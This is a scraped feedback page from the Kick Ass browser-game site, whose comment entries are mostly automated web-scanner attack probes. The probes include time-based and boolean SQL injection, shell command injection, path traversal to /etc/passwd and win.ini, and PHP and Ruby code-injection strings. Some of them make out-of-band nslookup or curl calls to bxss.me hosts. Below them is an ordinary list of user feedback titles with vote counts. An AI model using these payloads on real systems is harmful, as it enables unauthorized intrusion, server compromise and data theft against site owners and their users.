• dwUQQUrL

  127qMQzXJ' OR 260=(SELECT 260 FROM PG_SLEEP(15))--

• dwUQQUrL

  1odFFzyxX') OR 306=(SELECT 306 FROM PG_SLEEP(15))--

• dwUQQUrL

  1uvzTm9Me')) OR 647=(SELECT 647 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@HaZFQ

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrLpdOIRNuj

  1

• dwUQQUrL

  1

• -1 OR 2+633-633-1=0+0+0+1 --

  1

• -1 OR 2+452-452-1=0+0+0+1

  1

• -1' OR 2+116-116-1=0+0+0+1 --

  1

• -1' OR 2+323-323-1=0+0+0+1 or '9IbRzrW0'='

  1

• -1" OR 2+912-912-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrLgYKrkm1k'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@uy5gv

  1

• dwUQQUrL

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1p3gvHDmc

• kEMlzpAX

  1

• kEMlzpAX

  -1 OR 2+287-287-1=0+0+0+1 --

• kEMlzpAX

  -1 OR 2+348-348-1=0+0+0+1

• kEMlzpAX

  -1' OR 2+520-520-1=0+0+0+1 --

• kEMlzpAX

  -1' OR 2+299-299-1=0+0+0+1 or 'AEV24scZ'='

• kEMlzpAX

  -1" OR 2+341-341-1=0+0+0+1 --

• kEMlzpAX

  1*if(now()=sysdate(),sleep(15),0)

• kEMlzpAX

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• kEMlzpAX

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• kEMlzpAX

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• kEMlzpAX

  1-1; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1); waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 waitfor delay '0:0:15' --

• kEMlzpAX

  1kWcgB079'; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 OR 378=(SELECT 378 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1) OR 291=(SELECT 291 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1)) OR 542=(SELECT 542 FROM PG_SLEEP(15))--

• kEMlzpAX

  1cDBMQ2Ad' OR 722=(SELECT 722 FROM PG_SLEEP(15))--

• kEMlzpAX

  1tZ8WSG03') OR 491=(SELECT 491 FROM PG_SLEEP(15))--

• kEMlzpAX

  13ZVTFx3d')) OR 478=(SELECT 478 FROM PG_SLEEP(15))--

• kEMlzpAX

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• kEMlzpAX

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• kEMlzpAX

  1

• kEMlzpAX

  1'"

• kEMlzpAX

  @@7fx5G

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAXo5Kxu7cy

  1

• kEMlzpAX

  1

• -1 OR 2+833-833-1=0+0+0+1 --

  1

• -1 OR 2+601-601-1=0+0+0+1

  1

• -1' OR 2+643-643-1=0+0+0+1 --

  1

• -1' OR 2+890-890-1=0+0+0+1 or 'UF1BHWQe'='

  1

• -1" OR 2+964-964-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• kEMlzpAX-1 waitfor delay '0:0:15' --

  1

• kEMlzpAXXEWjPClH'; waitfor delay '0:0:15' --

  1

• kEMlzpAX

  1

• kEMlzpAX'"

  1

• @@Mmszk

  1

• kEMlzpAX

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1xaC8RHZj

• lxbfYeaa

  1

• lxbfYeaa

  -1 OR 5*5=25 --

• lxbfYeaa

  -1 OR 5*5=25

• lxbfYeaa

  -1' OR 5*5=25 --

• lxbfYeaa

  -1" OR 5*5=25 --

• lxbfYeaa

  -1' OR 5*5=25 or 'uXuJw7oX'='

• lxbfYeaa

  -1" OR 5*5=25 or "yjpTFk8i"="

• lxbfYeaa

  1*if(now()=sysdate(),sleep(15),0)

• lxbfYeaa

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• lxbfYeaa

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• lxbfYeaa

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• lxbfYeaa

  1-1; waitfor delay '0:0:15' --

• lxbfYeaa

  1-1); waitfor delay '0:0:15' --

• lxbfYeaa

  1-1 waitfor delay '0:0:15' --

• lxbfYeaa

  1YdtllI9B'; waitfor delay '0:0:15' --

• lxbfYeaa

  1-1 OR 498=(SELECT 498 FROM PG_SLEEP(15))--

• lxbfYeaa

  1-1) OR 628=(SELECT 628 FROM PG_SLEEP(15))--

• lxbfYeaa

  1-1)) OR 98=(SELECT 98 FROM PG_SLEEP(15))--

• lxbfYeaa

  1LMdrPMD0' OR 64=(SELECT 64 FROM PG_SLEEP(15))--

• lxbfYeaa

  1EOCU95L0') OR 576=(SELECT 576 FROM PG_SLEEP(15))--

• lxbfYeaa

  1nDIhfFIO')) OR 583=(SELECT 583 FROM PG_SLEEP(15))--

• lxbfYeaa

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• lxbfYeaa

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• lxbfYeaa

  1

• lxbfYeaa

  1'"

• lxbfYeaa

  @@utXHL

• lxbfYeaa

  (select 198766*667891)

• lxbfYeaa

  (select 198766*667891 from DUAL)

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaaJHjmlO46

  1

• lxbfYeaa

  1

• -1 OR 5*5=25 --

  1

• -1 OR 5*5=25

  1

• -1' OR 5*5=25 --

  1

• -1" OR 5*5=25 --

  1

• -1' OR 5*5=25 or '7VLh7pUK'='

  1

• -1" OR 5*5=25 or "r8MnlliG"="

  1

• if(now()=sysdate(),sleep(15),0)

  1

• lxbfYeaa-1 waitfor delay '0:0:15' --

  1

• lxbfYeaati31dRiC'; waitfor delay '0:0:15' --

  1

• lxbfYeaa

  1

• lxbfYeaa'"

  1

• @@Uc03f

  1

• (select 198766*667891)

  1

• (select 198766*667891 from DUAL)

  1

• lxbfYeaa

  1

• TYYHyRvY

  1

• TYYHyRvY

  1

• TYYHyRvY

  16CI2GFYBB0

• TYYHyRvY

  response.write(9435491*9933503)

• TYYHyRvY

  1

• 1DDYQFL85370

  1

• TYYHyRvY

  '+response.write(9435491*9933503)+'

• TYYHyRvY

  1slwhxKco

• TYYHyRvY

  "+response.write(9435491*9933503)+"

• TYYHyRvY

  echo hbuvlt$()\ akrgkz\nz^xyu||a #' &echo hbuvlt$()\ akrgkz\nz^xyu||a #|" &echo hbuvlt$()\ akrgkz\nz^xyu||a #

• TYYHyRvY

  1

• response.write(9716712*9504659)

  1

• TYYHyRvY

  &echo vaxmlg$()\ kdznti\nz^xyu||a #' &echo vaxmlg$()\ kdznti\nz^xyu||a #|" &echo vaxmlg$()\ kdznti\nz^xyu||a #

• TYYHyRvY

  -1 OR 5*5=25 --

• '+response.write(9716712*9504659)+'

  1

• TYYHyRvY

  1&echo tpesox$()\ mrylgd\nz^xyu||a #' &echo tpesox$()\ mrylgd\nz^xyu||a #|" &echo tpesox$()\ mrylgd\nz^xyu||a #

• TYYHyRvY

  -1 OR 5*5=25

• "+response.write(9716712*9504659)+"

  1

• TYYHyRvY

  |echo xemoct$()\ bjlbfu\nz^xyu||a #' |echo xemoct$()\ bjlbfu\nz^xyu||a #|" |echo xemoct$()\ bjlbfu\nz^xyu||a #

• TYYHyRvY

  -1' OR 5*5=25 --

• TYYHyRvY

  ../../../../../../../../../../../../../../etc/passwd

• TYYHyRvY

  1|echo tozqsi$()\ ciyndi\nz^xyu||a #' |echo tozqsi$()\ ciyndi\nz^xyu||a #|" |echo tozqsi$()\ ciyndi\nz^xyu||a #

• TYYHyRvY

  -1" OR 5*5=25 --

• TYYHyRvY

  ../../../../../../../../../../../../../../windows/win.ini

• TYYHyRvY

  expr 9000545596 - 912270

• TYYHyRvY

  -1' OR 5*5=25 or 'XzYzLhU3'='

• TYYHyRvY

  file:///etc/passwd

• TYYHyRvY

  (nslookup -q=cname hitoloopfsxjt5aa0b.bxss.me||curl hitoloopfsxjt5aa0b.bxss.me))

• TYYHyRvY

  -1" OR 5*5=25 or "2mASLPHH"="

• TYYHyRvY

  1

• TYYHyRvY

  $(nslookup -q=cname hitpgmojvitaw03982.bxss.me||curl hitpgmojvitaw03982.bxss.me)

• TYYHyRvY

  1*if(now()=sysdate(),sleep(15),0)

• TYYHyRvY

  ../1

• TYYHyRvY

  &nslookup -q=cname hitcusafdfeized9f9.bxss.me&'\"`0&nslookup -q=cname hitcusafdfeized9f9.bxss.me&`'

• TYYHyRvY

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• TYYHyRvY

  &(nslookup -q=cname hitsmbckbcykcc1f61.bxss.me||curl hitsmbckbcykcc1f61.bxss.me)&'\"`0&(nslookup -q=cname hitsmbckbcykcc1f61.bxss.me||curl hitsmbckbcykcc1f61.bxss.me)&`'

• TYYHyRvY

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• TYYHyRvY

  |(nslookup -q=cname hitslidcttqki45ae2.bxss.me||curl hitslidcttqki45ae2.bxss.me)

• TYYHyRvY

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• file:///etc/passwd

  1

• TYYHyRvY

  `(nslookup -q=cname hitpxirupelfk8c8b2.bxss.me||curl hitpxirupelfk8c8b2.bxss.me)`

• TYYHyRvY

  1-1; waitfor delay '0:0:15' --

• TYYHyRvY

  1

• TYYHyRvY

  ;(nslookup -q=cname hituyroumagbd7f91f.bxss.me||curl hituyroumagbd7f91f.bxss.me)|(nslookup -q=cname hituyroumagbd7f91f.bxss.me||curl hituyroumagbd7f91f.bxss.me)&(nslookup -q=cname hituyroumagbd7f91f.bxss.me||curl hituyroumagbd7f91f.bxss.me)

• TYYHyRvY

  1-1); waitfor delay '0:0:15' --

• ../TYYHyRvY

  1

• TYYHyRvY

  |(nslookup${IFS}-q${IFS}cname${IFS}hitbknylypsrjc94cb.bxss.me||curl${IFS}hitbknylypsrjc94cb.bxss.me)

• TYYHyRvY

  1-1 waitfor delay '0:0:15' --

• TYYHyRvY

  &(nslookup${IFS}-q${IFS}cname${IFS}hitpzedtutapsa1cc0.bxss.me||curl${IFS}hitpzedtutapsa1cc0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpzedtutapsa1cc0.bxss.me||curl${IFS}hitpzedtutapsa1cc0.bxss.me)&`'

• TYYHyRvY

  14Vpyr05N'; waitfor delay '0:0:15' --

• TYYHyRvY

  1-1 OR 169=(SELECT 169 FROM PG_SLEEP(15))--

• TYYHyRvY

  1-1) OR 652=(SELECT 652 FROM PG_SLEEP(15))--

• TYYHyRvY

  1-1)) OR 621=(SELECT 621 FROM PG_SLEEP(15))--

• Anonymous

  1

• TYYHyRvY

  1IwyFlf2i' OR 219=(SELECT 219 FROM PG_SLEEP(15))--

• TYYHyRvY

  1UPI6y0Lt') OR 853=(SELECT 853 FROM PG_SLEEP(15))--

• expr 9000801793 - 962914

  1

• TYYHyRvY

  11E9rEMQn')) OR 783=(SELECT 783 FROM PG_SLEEP(15))--

• TYYHyRvY

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• TYYHyRvY

  ${9999002+10000366}

• TYYHyRvY

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• ${9999423+10000269}

  1

• TYYHyRvY

  1

• TYYHyRvY

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• TYYHyRvY

  1'"

• TYYHyRvY

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• TYYHyRvY

  /etc/shells

• TYYHyRvY

  @@O5omS

• TYYHyRvY

  ../../../../../../../../../../../../../../etc/shells

• TYYHyRvY

  (select 198766*667891)

• TYYHyRvY

  c:/windows/win.ini

• TYYHyRvY

  (select 198766*667891 from DUAL)

• TYYHyRvY

  bxss.me

• TYYHyRvY

  1

• TYYHyRvY

  Http://bxss.me/t/fit.txt

• TYYHyRvY

  1

• TYYHyRvY

  http://bxss.me/t/fit.txt?.jpg

• TYYHyRvY

  1

• TYYHyRvYJCKntH3A

  1

• TYYHyRvY

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• TYYHyRvY

  '"()

• -1 OR 5*5=25 --

  1

• /etc/shells

  1

• TYYHyRvY

  1'&&sleep(27*1000)*pweujv&&'

• -1 OR 5*5=25

  1

• TYYHyRvY

  1"&&sleep(27*1000)*pbjaef&&"

• -1' OR 5*5=25 --

  1

• c:/windows/win.ini

  1

• TYYHyRvY

  1'||sleep(27*1000)*ccwwuz||'

• -1" OR 5*5=25 --

  1

• bxss.me

  1

• TYYHyRvY

  1"||sleep(27*1000)*eljfqz||"

• -1' OR 5*5=25 or 'u5S1FkHa'='

  1

• Http://bxss.me/t/fit.txt

  1

• -1" OR 5*5=25 or "m6H4q8vZ"="

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• TYYHyRvY

  1

• if(now()=sysdate(),sleep(15),0)

  1

• TYYHyRvY

  redirtest.acx

• TYYHyRvY

  https://kickassapp.com/

• '"()

  1

• TYYHyRvY

  redirtest.acx?1

• TYYHyRvY'&&sleep(27*1000)*alrazs&&'

  1

• redirtest.acx

  1

• TYYHyRvY"&&sleep(27*1000)*qbohfa&&"

  1

• TYYHyRvY-1 waitfor delay '0:0:15' --

  1

• https://kickassapp.com/

  1

• TYYHyRvY'||sleep(27*1000)*yprrsq||'

  1

• TYYHyRvYSKeyED4N'; waitfor delay '0:0:15' --

  1

• redirtest.acx?TYYHyRvY

  1

• TYYHyRvY"||sleep(27*1000)*eztjul||"

  1

• TYYHyRvY

  '.gethostbyname(lc('hitui'.'qreunare107ab.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(78).chr(100).chr(70).'

• TYYHyRvY

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• TYYHyRvY

  ".gethostbyname(lc("hitwt"."urwlktsjc9f50.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(79).chr(118).chr(69)."

• TYYHyRvY

  ';print(md5(31337));$a='

• TYYHyRvY

  gethostbyname(lc('hitpy'.'cmvnhbfyb4bf6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(68).chr(99).chr(80)

• TYYHyRvY

  ";print(md5(31337));$a="

• TYYHyRvY

  ${@print(md5(31337))}

• TYYHyRvY

  1

• TYYHyRvY

  ${@print(md5(31337))}\

• TYYHyRvY'"

  1

• TYYHyRvY

  '.print(md5(31337)).'

• TYYHyRvY

  HttP://bxss.me/t/xss.html?%00

• @@jHbKD

  1

• TYYHyRvY

  bxss.me/t/xss.html?%00

• ';print(md5(31337));$a='

  1

• (select 198766*667891)

  1

• HttP://bxss.me/t/xss.html?%00

  1

• ";print(md5(31337));$a="

  1

• (select 198766*667891 from DUAL)

  1

• bxss.me/t/xss.html?%00

  1

• ${@print(md5(31337))}

  1

• TYYHyRvY

  "+"A".concat(70-3).concat(22*4).concat(108).concat(67).concat(120).concat(73)+(require"socket" Socket.gethostbyname("hitcb"+"krzwmkeh8a258.bxss.me.")[3].to_s)+"

• TYYHyRvY

  comment

• ${@print(md5(31337))}\

  1

• TYYHyRvY

  '+'A'.concat(70-3).concat(22*4).concat(117).concat(67).concat(119).concat(86)+(require'socket' Socket.gethostbyname('hitlo'+'cyyqzusx770fe.bxss.me.')[3].to_s)+'

• TYYHyRvY

  comment

• '.print(md5(31337)).'

  1

• TYYHyRvY

  'A'.concat(70-3).concat(22*4).concat(119).concat(78).concat(116).concat(78)+(require'socket' Socket.gethostbyname('hitbn'+'bgyyvqbuf79d8.bxss.me.')[3].to_s)

• TYYHyRvY

  comment/.

• TYYHyRvY

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• comment

  1

• comment

  1

• TYYHyRvY

  '{"

• comment/.

  1

• TYYHyRvY

  <!--

• '{"

  1

• <!--

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 169 months ago
  Unvote

  8553 agree

• Hack Protection
  By Stealthkid - 161 months ago
  Unvote

  3101 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 128 months ago
  Unvote

  1127 agree

• Add to favorites
  By Anonymous - 172 months ago
  Vote

  1125 agree

• editro
  By critic - 172 months ago
  Unvote

  1064 agree

• Youtube B-wing achievement
  By chuck norris - 170 months ago
  Unvote

  1055 agree

• Change Name?
  By Anonymous - 172 months ago
  Unvote

  1054 agree

• What browsers are supported?
  By Jack - 168 months ago
  Unvote

  1035 agree

• Missiles as an Third Weapon
  By Ram - 168 months ago
  Unvote

  1003 agree

• It doesn't work!
  By the destructor - 171 months ago
  Unvote

  956 agree

• Slide ship in on start
  By Kickass guy - 172 months ago
  Unvote

  950 agree

• need some advice
  By Hao - 169 months ago
  Unvote

  942 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 167 months ago
  Unvote

  916 agree

• Mistaken Website Bug
  By CrazyDeathling - 170 months ago
  Unvote

  913 agree

• Try Me does not work
  By Tim - 172 months ago
  Vote

  901 agree

• Rank list & Leaderboards
  By StoleYourFood - 166 months ago
  Unvote

  890 agree

• achievements
  By Lee - 171 months ago
  Unvote

  888 agree

• battle
  By alexof - 169 months ago
  Unvote

  882 agree

• how do i draw the outline
  By kickassisdeboss - 171 months ago
  Unvote

  880 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 171 months ago
  Unvote

  855 agree

• Mirrored editing
  By wombat - 169 months ago
  Unvote

  844 agree

• Save
  By DevilishDB - 170 months ago
  Unvote

  842 agree

• Benefits from improving ranks
  By hurrtz - 167 months ago
  Vote

  833 agree

• You guys should have a symmetrical mode
  By Idrees - 171 months ago
  Unvote

  826 agree

• Rankings
  By heyo - 171 months ago
  Unvote

  818 agree

• Awesome
  By Anonymous - 164 months ago
  Unvote

  815 agree

• Designer
  By Anonymous - 172 months ago
  Unvote

  814 agree

• Pen tool
  By Cblackdragon - 166 months ago
  Unvote

  809 agree

• Pro!!
  By Jtbui20 - 170 months ago
  Unvote

  807 agree

• omfg
  By Russellmichael13 - 170 months ago
  Unvote

  804 agree

• Two major glitches
  By BeyPokéDig - 171 months ago
  Unvote

  804 agree

• Button
  By Cottonball - 170 months ago
  Unvote

  799 agree

• 1 agrees
  By BeyPokéDig - 171 months ago
  Unvote

  797 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 164 months ago
  Unvote

  792 agree

• Undo button
  By wombat - 169 months ago
  Unvote

  785 agree

• You guys need an undo button
  By Idrees - 171 months ago
  Unvote

  782 agree

• I am using this on my site
  By Idrees - 171 months ago
  Unvote

  778 agree

• Extra weapons
  By MassMurdererOver9000 - 166 months ago
  Unvote

  777 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 171 months ago
  Unvote

  774 agree

• White labeling the app?
  By Peter.dibart - 167 months ago
  Unvote

  774 agree

• Forums
  By BeyPokéDig - 171 months ago
  Unvote

  771 agree

• Image for ship
  By wombat - 169 months ago
  Unvote

  770 agree

• Enemies
  By Agallup16 - 171 months ago
  Unvote

  753 agree

• android app
  By Barissenkal - 162 months ago
  Unvote

  747 agree

• Question
  By Kickin Ass - 171 months ago
  Unvote

  742 agree

• help
  By Russellmichael13 - 170 months ago
  Unvote

  694 agree

• Undo Button
  By Cblackdragon - 166 months ago
  Unvote

  690 agree

• page moving up/down while controling the ship?
  By Tommy - 171 months ago
  Unvote

  682 agree

• 0xp till| Only GA.
  By StoleYourFood - 166 months ago
  Unvote

  676 agree

• how come the editor is so hard to use
  By Rcasassin - 168 months ago
  Unvote

  664 agree